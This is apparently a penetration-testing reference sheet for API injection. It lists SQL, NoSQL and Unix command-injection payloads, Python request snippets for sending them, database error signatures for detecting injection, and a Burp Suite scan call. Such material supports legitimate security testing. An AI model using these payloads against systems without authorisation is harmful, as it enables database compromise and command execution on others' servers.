API Reference: API Injection Vulnerability Testing
OWASP API Security Top 10
| # |
Risk |
Description |
| API1 |
Broken Object Level Auth |
Accessing other users' data |
| API2 |
Broken Authentication |
Weak auth mechanisms |
| API3 |
Broken Object Property Level Auth |
Mass assignment |
| API8 |
Security Misconfiguration |
Injection via misconfig |
| API10 |
Unsafe Consumption |
Server-side injection |
SQL Injection Payloads
Error-Based
' OR '1'='1
' UNION SELECT NULL,NULL--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
Time-Based Blind
' AND SLEEP(5)--
' AND pg_sleep(5)--
'; WAITFOR DELAY '0:0:5'--
NoSQL Injection Payloads
MongoDB Operator Injection
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}}
{"username": {"$regex": "admin.*"}}
Where Clause Injection
{"$where": "this.password == 'test'"}
Command Injection Payloads
Unix
; id
| whoami
$(id)
`id`
Blind Command Injection
; sleep 5
| ping -c 5 127.0.0.1
$(sleep 5)
Python requests Library
GET with Parameters
import requests
resp = requests.get(url, params={"id": payload}, timeout=10, verify=False)
POST with JSON Body
resp = requests.post(url, json={"field": payload}, timeout=10)
Response Analysis
| Attribute |
Usage |
resp.status_code |
HTTP status |
resp.text |
Response body |
resp.elapsed.total_seconds() |
Response time |
len(resp.content) |
Response size |
Error Signatures
SQL Databases
| Database |
Error Pattern |
| MySQL |
You have an error in your SQL syntax |
| PostgreSQL |
ERROR: syntax error at or near |
| MSSQL |
Unclosed quotation mark |
| Oracle |
ORA-01756 |
| SQLite |
SQLITE_ERROR |
Burp Suite API
Initiate Scan
POST https://burp:1337/v0.1/scan
Content-Type: application/json
{
"urls": ["https://api.target.com/v1/users"],
"scan_configurations": [{"name": "Audit checks - SQL injection"}]
}
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